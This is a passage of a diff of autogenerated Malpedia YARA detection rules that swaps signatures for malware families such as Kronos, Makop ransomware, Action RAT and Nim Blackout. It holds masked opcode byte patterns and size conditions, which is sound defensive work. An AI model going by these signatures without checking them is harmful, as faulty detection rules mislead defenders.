2bc1 8d7304 } + $sequence_5 = { f7da 1bd2 23d1 03d0 8d4d0c 2bf1 8d42ff } + $sequence_6 = { f6430401 c645ff01 7506 8b45e4 894308 807dff00 0f8422030000 } + $sequence_7 = { eb3a 83fb0b 7507 68???????? eb2e 83fb30 7507 } + $sequence_8 = { 8d45d0 50 e8???????? 8d75e8 8b10 8d4aff f7d9 } + $sequence_9 = { e8???????? 8d45b8 50 8d4e30 e8???????? 8b45d0 8d4d80 } condition: - 7 of them and filesize < 413696 + 7 of them and filesize < 1556480 } -rule MALPEDIA_Win_Typehash_Auto : FILE +rule MALPEDIA_Win_Bibi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c0bfd3b-1920-5db4-be8f-16377880af07" + id = "c2df99bb-e2c1-5d6e-93f4-9c5f5dcb8fbb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.typehash_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bibi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bibi_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "cb4de3d61dde4ee402264a80e34744365587a3be274cf88c25ae82f2b1a1af55" + logic_hash = "3d7402c133784a89b3daa278c9e13f3e526d55f5078582b8c7ac35078977c2ac" score = 75 quality = 75 tags = "FILE" @@ -134958,32 +134678,32 @@ rule MALPEDIA_Win_Typehash_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8380000000 8bc8 8bf0 c1f905 83e61f 8d3c8de03d4100 c1e603 } - $sequence_1 = { 8d7c246c 83c9ff 33c0 8d54246c f2ae f7d1 } - $sequence_2 = { 8b0c8de03d4100 8d04c1 eb05 b8???????? f6400480 0f8492000000 ff4e04 } - $sequence_3 = { 8b15???????? 8d4c2410 52 6800280000 } - $sequence_4 = { 50 c745c458e64000 e8???????? cc 56 ff742408 8bf1 } - $sequence_5 = { 5f eb26 8d4508 8db6742a4100 6a00 50 } - $sequence_6 = { c1f905 83e01f 8b0c8de03d4100 8d04c1 } - $sequence_7 = { 3bd7 770f e8???????? 8b442418 8b0d???????? 3bfb } - $sequence_8 = { 8d4c2440 c68424cc00000001 e8???????? 8b44241c 3d00280000 7312 } - $sequence_9 = { 03f8 897c2410 813f50450000 7413 68c1000000 } + $sequence_0 = { 0f840b010000 488d05a2af0100 4a8b04e8 42385cf838 0f8df5000000 e8???????? } + $sequence_1 = { 754a 483bc2 0f84cc000000 660f1f440000 4c8929 4c896910 4c896918 } + $sequence_2 = { 488b45bf 488b1cd0 488b5318 4883fa08 } + $sequence_3 = { 89442424 488b4c2420 48898b78020000 488bc3 4c8d5c2460 } + $sequence_4 = { 483bd9 7522 483bc1 7468 0f1f4000 0f1008 } + $sequence_5 = { 488d15645c0100 e8???????? 85c0 7416 } + $sequence_6 = { 7716 488bc6 4983f810 7203 488b06 48894e10 c6040800 } + $sequence_7 = { 0f84a1000000 b901000000 e8???????? 483bd8 7509 488d3d70c00100 eb16 } + $sequence_8 = { 6690 83fb0a 7d65 ba3d000000 e8???????? } + $sequence_9 = { 4c8d04c0 498b84d140310300 42f644c03848 7430 8a8c2480000000 4c8b942490000000 80f90a } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 462848 } -rule MALPEDIA_Win_Tclient_Auto : FILE +rule MALPEDIA_Win_Lambert_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "650e8891-ed90-5136-bd2f-e9d9bc478c30" + id = "766677fc-20f5-5c4e-acc7-a5a40372da69" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tclient_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lambert_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "8cec1eb16073a2ac15195a2fb3f4612d56f52a89cef4787143a34f4035169950" + logic_hash = "60e780dd4c006048bc0528824ae1f73ab836d6b104a44501df20cceb325dce70" score = 75 quality = 75 tags = "FILE" @@ -134997,32 +134717,38 @@ rule MALPEDIA_Win_Tclient_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffb5f0fdffff ff95e4fdffff 8bf0 83c40c 85f6 0f85ec020000 8b85f0fdffff } - $sequence_1 = { 6a00 50 e8???????? 83c40c c70340000000 8bcb e8???????? } - $sequence_2 = { 8d4508 8bcc 50 e8???????? 8d4dcc 885dfc e8???????? } - $sequence_3 = { 0f8521feffff 837d1001 0f857a010000 85f6 745f 8b4e04 57 } - $sequence_4 = { ff7508 8bd7 8bce e8???????? 59 59 5f } - $sequence_5 = { 8bf1 57 84d2 756a b800020000 66858620030000 755c } - $sequence_6 = { 8d45c8 50 8d7730 56 8d5750 8d4de8 e8???????? } - $sequence_7 = { 8b049dc0a04700 0fb6440828 83e001 0f848d000000 b8ffffff7f 3b4510 1bc0 } - $sequence_8 = { 3bd8 7e2c 8d95b0feffff 8d8d60faffff e8???????? 8b9da8faffff 8bf8 } - $sequence_9 = { 33c0 66898625030000 89862a030000 888627030000 888622030000 884660 88467c } + $sequence_0 = { 4f 42 3b7d10 724d } + $sequence_1 = { 8b4d08 03481c 894de4 8b55f4 8b45e4 } + $sequence_2 = { 33ce 314de8 890a 894de4 } + $sequence_3 = { 7402 eb60 8b45fc 83c078 8945f0 8b4df0 } + $sequence_4 = { 85c0 741f 8b4df8 c1e90d 8b55f8 c1e213 0bca } + $sequence_5 = { 41 8801 41 e9???????? 6afc 2b4d10 8b5514 } + $sequence_6 = { 0f82a4000000 83fe06 0f822cffffff 8bc1 } + $sequence_7 = { 33ce 33d1 33da 8970f0 } + $sequence_8 = { 51 e8???????? 0fb7d0 0355f8 } + $sequence_9 = { 0bca 894df8 8b45fc 0fb708 51 e8???????? } + $sequence_10 = { 33c1 03c0 33c8 8bc1 c1e808 } + $sequence_11 = { 8945fc 8b4d0c 8b55fc 3b5118 } + $sequence_12 = { 2bc2 83f801 0f8208010000 803a00 } + $sequence_13 = { 4f 42 42 eb56 } + $sequence_14 = { 8b5508 031481 8955f4 8b45f4 50 e8???????? } + $sequence_15 = { f7d2 8b45f4 335004 8955f8 8b4df4 } condition: - 7 of them and filesize < 1063936 + 7 of them and filesize < 1205248 } -rule MALPEDIA_Win_Kronos_Auto : FILE +rule MALPEDIA_Win_Ascentloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "926e3174-18bd-5768-8bad-aee020442946" + id = "4372eef6-4656-5e4d-b175-471d65d2d6f2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kronos_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ascentloader_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "37c4a3cedbb07e112b6f5ea1747119314006e52be9a57885219c4b994f74b249" + logic_hash = "3968524e74d1c6dce6af2edd09bc8b40e402c007d240f6b355af76ae453cb02a" score = 75 quality = 75 tags = "FILE" @@ -135036,32 +134762,32 @@ rule MALPEDIA_Win_Kronos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8bca e8???????? 8b4510 015f0c 8b4f0c 33d2 } - $sequence_1 = { 8b4508 8b4d10 5f 5b c70000000000 } - $sequence_2 = { e8???????? 83450810 83451010 ff4d0c 837d0c00 7fe2 } - $sequence_3 = { 8955f4 8975f8 bfff000000 3935???????? 754a c705????????01000000 53 } - $sequence_4 = { 83c40c 837dfc02 724b 8b55f4 83c208 52 8d4de0 } - $sequence_5 = { 57 56 56 8d8da0efffff } - $sequence_6 = { 8945c8 3bc6 0f8406020000 bfd8010000 57 e8???????? } - $sequence_7 = { 53 ff15???????? 8b442418 5f 5e 5b 8be5 } - $sequence_8 = { 50 8d45e8 50 ffd2 8b4804 8b7008 } - $sequence_9 = { b84d5a0000 663901 0f857f010000 8b413c 03c1 813850450000 0f856e010000 } + $sequence_0 = { b8???????? eb0a b900240000 b8???????? } + $sequence_1 = { 8b4df4 e8???????? 57 ff15???????? ff15???????? } + $sequence_2 = { 8bf8 897dd8 85ff 7516 83c8ff e9???????? c745e440ac4100 } + $sequence_3 = { 740b 8b55e8 8b4dfc e8???????? 8b4dfc } + $sequence_4 = { 8955fc 83b88400000000 0f86ea000000 56 8bb080000000 } + $sequence_5 = { c744243a62756700 ff15???????? 8b35???????? ffd6 } + $sequence_6 = { 57 68000000f0 6a01 33db 894de8 53 } + $sequence_7 = { 3b4814 7604 33c0 eb14 8b45fc 8b4df8 03481c } + $sequence_8 = { e8???????? 8b4d10 8bd0 8b4514 } + $sequence_9 = { 005caa40 0023 d18a0688078a 46 } condition: - 7 of them and filesize < 1302528 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Nemim_Auto : FILE +rule MALPEDIA_Win_Action_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2fcca9e2-b8f3-5d83-84fc-b2e40aa4f4f9" + id = "0abe3565-6584-5599-b7de-461d5c2244c8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nemim_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.action_rat_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "24d9011f0ff0bebf263a930abe315373fb7838840fe9989752df0056ff714df5" + logic_hash = "5ed778484db64ab13a477929c07da39230f4ad04ded616573b48c243aaef2b6f" score = 75 quality = 75 tags = "FILE" @@ -135075,32 +134801,32 @@ rule MALPEDIA_Win_Nemim_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c002 53 55 56 57 8d742410 bf10000000 } - $sequence_1 = { 52 6801000080 ff15???????? 8d442418 8d4c2454 50 8b442418 } - $sequence_2 = { 56 ff15???????? 8b442410 3d97010000 0f84ae000000 6800040000 } - $sequence_3 = { 888424e7000000 e8???????? 83c404 8d9424b4000000 68???????? 6819000200 6a00 } - $sequence_4 = { 8bd1 8dbc2450020000 c1e902 f3ab 8bca } - $sequence_5 = { 52 e8???????? 8d442458 50 e8???????? 8b15???????? 8d4c245c } - $sequence_6 = { 8b6c2440 8dbc3839d0d4d9 8bc7 c1e81c c1e704 0bc7 8bfe } - $sequence_7 = { 8bf0 750b c1e602 8b8628274300 eb09 c1e602 } - $sequence_8 = { 83fe10 7cde c605????????00 b90b000000 be???????? 8dbc2410010000 } - $sequence_9 = { 68e8030000 e8???????? 83c404 85f6 } + $sequence_0 = { 8b10 8955ec 8b45ec 3b45f0 7707 e8???????? eb3c } + $sequence_1 = { 894d9c c645fc00 8d4db0 e8???????? c745fcffffffff 8d4d18 e8???????? } + $sequence_2 = { 8b4df8 c1e104 81c1???????? e8???????? 8b55f8 c1e204 038298f80210 } + $sequence_3 = { 51 ff15???????? 83c404 85c0 7412 0fbe5508 83ea30 } + $sequence_4 = { 8b55f4 837a1800 7420 0fb645fb 50 8b4df4 8b4918 } + $sequence_5 = { e8???????? 83c408 8d450c 50 8b4dec 83c104 51 } + $sequence_6 = { d1e8 8945ec 8b4dec 034dc8 894de0 8b55f8 } + $sequence_7 = { 8d4dec 51 8b4d08 e8???????? 50 8d55d0 } + $sequence_8 = { 7702 eb02 eb9f 6a00 8b4dd4 51 8d4dd8 } + $sequence_9 = { 8d4dd8 e8???????? 50 e8???????? 83c414 8945d4 8d4dd8 } condition: - 7 of them and filesize < 499712 + 7 of them and filesize < 480256 } -rule MALPEDIA_Elf_Nosedive_Auto : FILE +rule MALPEDIA_Win_Nautilus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0896063d-4b04-5de6-a33c-b1437bc56c3d" + id = "77d46a5b-ac0a-5fed-b7dc-730469f1a198" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.nosedive" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.nosedive_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nautilus_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "8416103e0574bbf55ec9fa82bbc72a32d4b6a677477fed1dee3caabd7071b0d2" + logic_hash = "75449a89b7fb4754deadb905e528b81ef0ad7c932b9a665933340397cfc77449" score = 75 quality = 75 tags = "FILE" @@ -135114,32 +134840,32 @@ rule MALPEDIA_Elf_Nosedive_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8b06 488b7c2408 4589ed 8907 428b442efc 4289442ffc } - $sequence_1 = { c644240800 8b7b10 31c9 488db42404010000 4989e4 ba02000000 e8???????? } - $sequence_2 = { ebe9 4531f6 4531ff 488b6c2410 4c397320 7630 488b4318 } - $sequence_3 = { e8???????? 5f b8008fffff 4158 e9???????? 4c8d05117f0f00 b974090000 } - $sequence_4 = { eb17 4889de 4889ef e8???????? 48895d10 48895d18 4c897520 } - $sequence_5 = { b93f000000 4429f9 4585c9 7527 4139ca 7d27 418d4f01 } - $sequence_6 = { f348ab 49837e6000 4d896e70 49895e78 751e b810000000 4983ff14 } - $sequence_7 = { c3 83c8ff 48397e08 7543 8b07 4c634610 2500010000 } - $sequence_8 = { e8???????? 8b4c243c ffc0 7516 48c7c098ffffff 6483385a 0f85e8010000 } - $sequence_9 = { e9???????? 48ffc0 80fa3a 7408 8a10 84d2 75f2 } + $sequence_0 = { e8???????? eb0b 0f28ce 488bcb e8???????? 660f2efe 7a02 } + $sequence_1 = { e8???????? 410fb7445c0a 498bce 0fb61406 448b0487 e8???????? 410fb7445c0c } + $sequence_2 = { e9???????? 413bfc 0f84c7000000 41be20000000 eb09 413bfc 0f84b6000000 } + $sequence_3 = { f20f5ccd eb08 f20f59ce f20f58ce 4885d2 7407 0f570d???????? } + $sequence_4 = { eb19 443bc3 7f14 c1e917 4103c8 3bd9 7f0a } + $sequence_5 = { 85c0 751b 488d4b18 8d5001 e8???????? 85c0 750b } + $sequence_6 = { 7459 41ffca 740a b800bfffff 4883c458 c3 488b842498000000 } + $sequence_7 = { 7520 488d7eff 488d55b0 488d4dc8 4885ff 756b e8???????? } + $sequence_8 = { 83f815 0f842b010000 83f816 74ba 83f817 745e 7e3c } + $sequence_9 = { 7424 bafeffff7f 33c9 e8???????? 8bcb 8bd0 488b4730 } condition: - 7 of them and filesize < 3268608 + 7 of them and filesize < 1302528 } -rule MALPEDIA_Win_Rekoobew_Auto : FILE +rule MALPEDIA_Win_Owlproxy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4672783-76e3-563a-8027-eca1db960fbe" + id = "63e3635a-b438-5b14-b4eb-af7ffdbef122" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rekoobew_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.owlproxy_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "58559e9eb7cf00c4472271b9f2f8096ac74daa9182ac5f503ca473672c8d4ebd" + logic_hash = "53d3a09278d24d3abda5835aa7f0dd4ef8496154e71ad2a30bd173f4868edb33" score = 75 quality = 75 tags = "FILE" @@ -135153,71 +134879,71 @@ rule MALPEDIA_Win_Rekoobew_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b75bc 3375c4 3375d8 3375ec } - $sequence_1 = { 0fb6fe 89ca 3314bde08c4000 0fb6f2 8b3cb5e0904000 } - $sequence_2 = { 894714 83c201 83fa08 7588 } - $sequence_3 = { 33348de0704000 8b4de8 c1e910 0fb6c9 33348de0744000 8975e0 } - $sequence_4 = { 3c0d 745e 80f93d 0f85a0feffff 89f0 eb53 b8ffffffff } - $sequence_5 = { 894de0 0fb67004 c1e618 0fb65005 c1e210 09f2 0fb67007 } - $sequence_6 = { 0f84c5000000 8b5078 85d2 0f84ba000000 8b35???????? 85f6 } - $sequence_7 = { 33735c 89d7 c1ef18 3334bde0844000 89cf c1ef10 81e7ff000000 } - $sequence_8 = { 09d7 0fb64827 09cf 0fb65026 c1e208 09d7 897dc8 } - $sequence_9 = { e8???????? 85c0 7916 c704240f000000 e8???????? b828000000 e9???????? } + $sequence_0 = { 488b4908 410fb7f0 488bfa 4c8d442450 488d542458 c744245014000000 ff15???????? } + $sequence_1 = { 486bc000 488d0d42330200 8b542430 48891401 488d0d0b810100 e8???????? } + $sequence_2 = { 55 57 4156 488da808feffff 4881ece0020000 48c7442478feffffff 48895818 } + $sequence_3 = { e8???????? 4c8b742440 4c3b742448 7435 } + $sequence_4 = { 2bf3 448bc6 488bd3 488d8c2430010000 e8???????? 448b8424f8000000 } + $sequence_5 = { 498936 49895e08 49897e10 4883bd8800000010 7209 488b4d70 e8???????? } + $sequence_6 = { 415e 415d 415c 5f c3 488d0d2c290200 e8???????? } + $sequence_7 = { 480f4355b8 4533c0 488b4da8 ff15???????? 895db0 4c8d25f53c0200 } + $sequence_8 = { 4883ec20 488d0d53580100 ff15???????? 488d1566580100 488bc8 488bd8 ff15???????? } + $sequence_9 = { 4885db 0f8480000000 410fb60437 8803 eb77 483bdf 756a } condition: - 7 of them and filesize < 248832 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Makop_Ransomware_Auto : FILE +rule MALPEDIA_Win_Scanline_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cd34e745-9497-5ffc-bd73-ecb5996e2067" - date = "2023-07-11" - modified = "2023-07-15" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makop_ransomware_auto.yar#L1-L124" + id = "0a94c58f-9a04-5a8f-a52b-c8922aabd872" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanline" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scanline_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "3c7cc3419f322a8e9eb8473ecaf54fc5da0725e8a0f35ff3f90245e28389848b" + logic_hash = "ae2af87b82d9394b37c14ff046f7786f58d075866fa464adcdf96cb76e14a4ba" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20230705" - malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" - malpedia_version = "20230715" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb02 33f6 803d????????00 751f 803d????????00 7516 80fb01 } - $sequence_1 = { 52 50 51 e8???????? 8b542430 83c40c 68e0930400 } - $sequence_2 = { 52 66c7060802 66c746041066 c6460820 } - $sequence_3 = { 56 ff15???????? 85c0 750b 8906 32c0 5e } - $sequence_4 = { 83c001 84c9 75f7 2bc7 83e801 39442404 720a } - $sequence_5 = { ffd6 85ff 740f 85db 740b 837c242000 7404 } - $sequence_6 = { 8b2d???????? 3beb 742e 8b4524 3bc3 7407 50 } - $sequence_7 = { 7416 e8???????? 6a00 e8???????? 83c404 } - $sequence_8 = { e8???????? 8b442418 83c40c 8b4f0c } - $sequence_9 = { 742f 33c0 3906 763d 8d4c2448 } + $sequence_0 = { 7404 8b400c c3 33c0 c3 83611000 c3 } + $sequence_1 = { 740e 53 8bc8 ff742414 e8???????? eb02 } + $sequence_2 = { 8bd8 85db 743d 6800040000 8d4608 ff7508 } + $sequence_3 = { 7434 6a10 e8???????? 3bc3 59 740e 53 } + $sequence_4 = { 750f 83f81f 730a 885c0438 8a1f 40 } + $sequence_5 = { 7e10 894608 c1e003 50 e8???????? 59 894604 } + $sequence_6 = { 59 59 8b45fc a3???????? e9???????? c705????????01000000 e9???????? } + $sequence_7 = { 8bc8 c1e103 8bd1 89460c 33c0 c1e902 } + $sequence_8 = { 51 bbffff0000 6806100000 53 50 ffd7 8d8608050000 } + $sequence_9 = { 8b4e18 50 e8???????? 6a24 e8???????? 8bf8 59 } condition: - 7 of them and filesize < 107520 + 7 of them and filesize < 151552 } -rule MALPEDIA_Win_H1N1_Auto : FILE +rule MALPEDIA_Win_Jripbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "37ad4a5e-e020-5ff8-9301-408e3e0a9d4d" + id = "6dca0814-ee58-53a7-824c-c626a6b40b02" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.h1n1_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jripbot_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "2e33215c731e3a160279240713f0099872fd50afe0eb8ebfd851884e2b2c7ed5" + logic_hash = "177d4eed69a2789f1363a5a38a7b17a6a4de0acf1062d48112f06f3ff8f9a1ab" score = 75 quality = 75 tags = "FILE" @@ -135231,38 +134957,32 @@ rule MALPEDIA_Win_H1N1_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { bb09000000 eb6c 83bde8feffff0a 7563 } - $sequence_1 = { 51 8b7df4 b900100000 33c0 f3aa 59 } - $sequence_2 = { c745cc01000000 c745d010000000 c745d402000000 c745d820000000 c745dc04000000 c745e040000000 } - $sequence_3 = { ff05???????? 6800020000 ff35???????? 58 } - $sequence_4 = { 3503003400 ab 2d0e00fcff ab } - $sequence_5 = { ffd0 ff750c ff75f0 ff75f4 8d45b8 50 e8???????? } - $sequence_6 = { c745e404000000 c745e840000000 0fb77b06 8db3f8000000 33c9 f7462400000020 7403 } - $sequence_7 = { ff75f8 ff7508 ff75fc ff75f4 ff35???????? 58 ffd0 } - $sequence_8 = { 25ff000000 c1e908 330c85908f0010 42 } - $sequence_9 = { 8bc1 83e001 d1e9 330c8500850010 330c95f48b0010 42 890c95bc850010 } - $sequence_10 = { 8b442404 33d2 a3???????? 42 b9c0850010 8b01 c1e81e } - $sequence_11 = { 50 68fc600010 6804010000 ff7508 e8???????? 83c424 c9 } - $sequence_12 = { 81ff7c8f0010 7cd4 5f 8b0d???????? 330d???????? } - $sequence_13 = { d1e9 330c8500850010 330d???????? 890d???????? 8b0cb5c0850010 8bc1 c1e80b } - $sequence_14 = { 33f6 53 8bd6 bbffffff7f 8b0c95c4850010 330c95c0850010 23cb } - $sequence_15 = { 68f4600010 56 e8???????? 8bf0 59 } + $sequence_0 = { 52 51 50 0fbf45ee 50 be???????? e8???????? } + $sequence_1 = { 50 ff15???????? eb61 ff742434 8d842464010000 ff742414 e8???????? } + $sequence_2 = { 7436 830804 f6c302 742e 56 ff15???????? 50 } + $sequence_3 = { 8d85a8fcffff 8d5001 8a08 40 3acb 75f9 2bc2 } + $sequence_4 = { 50 8d442418 50 894c2420 ff15???????? 83c40c 85c0 } + $sequence_5 = { 6a30 ff750c 8d75fc 8bcf e8???????? 83c408 } + $sequence_6 = { 8b8de0fdffff 8bc3 668b10 663b11 751e 663bd7 7415 } + $sequence_7 = { 33fb 037dfc 8b5ddc 235df4 0bf3 03f7 8b7d88 } + $sequence_8 = { 8bf8 83c40c 85ff 0f85da000000 ff742410 8d442448 e8???????? } + $sequence_9 = { 8d443718 50 e8???????? 83c40c 8d4618 8bce e8???????? } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 507904 } -rule MALPEDIA_Win_Huskloader_Auto : FILE +rule MALPEDIA_Win_Nim_Blackout_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "baa8dc28-4bde-5660-bacb-e311987b66fe" + id = "52c7d5e9-12a7-539a-90b8-852642880eb0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.huskloader_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nim_blackout_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "efaf6361c8e2a990c1d94ea51b671a22e525594bb6c413d70cb1d93190351b34" + logic_hash = "6c5cae00e9c851f788aea7ba4107707f8738f1e8e9b098f9929e9947fb70cddd" score = 75 quality = 75 tags = "FILE" @@ -135276,32 +134996,32 @@ rule MALPEDIA_Win_Huskloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d7f08 8b048d04330010 ffe0 f7c703000000 7413 8a06 } - $sequence_1 = { 894db0 8b048de88d0110 8975b4 8b440618 8b7514 } - $sequence_2 = { 6a00 6aff 66c7861a0600000111 ff15???????? 85c0 7430 682d060000 } - $sequence_3 = { 7712 0fb7c1 0faee8 0fb688181c0110 83e10f eb02 } - $sequence_4 = { e8???????? c70016000000 e8???????? 5d c20400 53 56 } - $sequence_5 = { 8904bde88d0110 85c0 7514 6a0c 5e 8975e4 c745fcfeffffff } - $sequence_6 = { 8db708020000 56 ff15???????? 56 ff15???????? 68???????? } - $sequence_7 = { 682d060000 6a00 6a04 6a00 6aff ff15???????? 85c0 } - $sequence_8 = { 5e 5d c3 e8???????? 85c0 0f8442310000 c3 } - $sequence_9 = { 7551 e8???????? c70021000000 eb44 c745e002000000 c745e4c45e0110 } + $sequence_0 = { 55 4889e5 4883ec30 48894d10 488b05???????? 4885c0 750d } + $sequence_1 = { 488b00 eb05 b800000000 483b85a8000000 7f30 4883bdf800000000 } + $sequence_2 = { 48c745c0c0000000 488d05ad7e0100 488945c8 488b45f0 488945f8 eb40 90 } + $sequence_3 = { 48c1e003 4801d0 488b00 4885c0 741a 488b4510 488b5008 } + $sequence_4 = { 488905???????? 488b05???????? 4885c0 750c 488d0d229c0100 e8???????? 488b05???????? } + $sequence_5 = { 488b45f8 488905???????? eb01 90 e8???????? 90 4883c460 } + $sequence_6 = { 488d05dd770100 488945e8 488b4510 488b00 ba08000000 4889c1 e8???????? } + $sequence_7 = { 488945f8 48c745d07b000000 488d05d02a0200 488945d8 488b45f8 488d14c500000000 488b4518 } + $sequence_8 = { 488d05ed680100 48894558 ba00000000 488b85b8000000 4883c001 7105 ba01000000 } + $sequence_9 = { 488d05d2af0200 488945e8 488b5510 488b05???????? 488d4818 e8???????? e8???????? } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 1068032 } -rule MALPEDIA_Win_Wm_Rat_Auto : FILE +rule MALPEDIA_Win_Badencript_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c6756856-697a-5678-ac68-3f5e48855d20" + id = "ddb7f1a7-8259-5ec8-9b35-e98fb67b2310" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wm_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wm_rat_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badencript_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "17d23eab1cdfe83be57cb83b91146c56a89d3518780617b00510aa5e646a5ec0" + logic_hash = 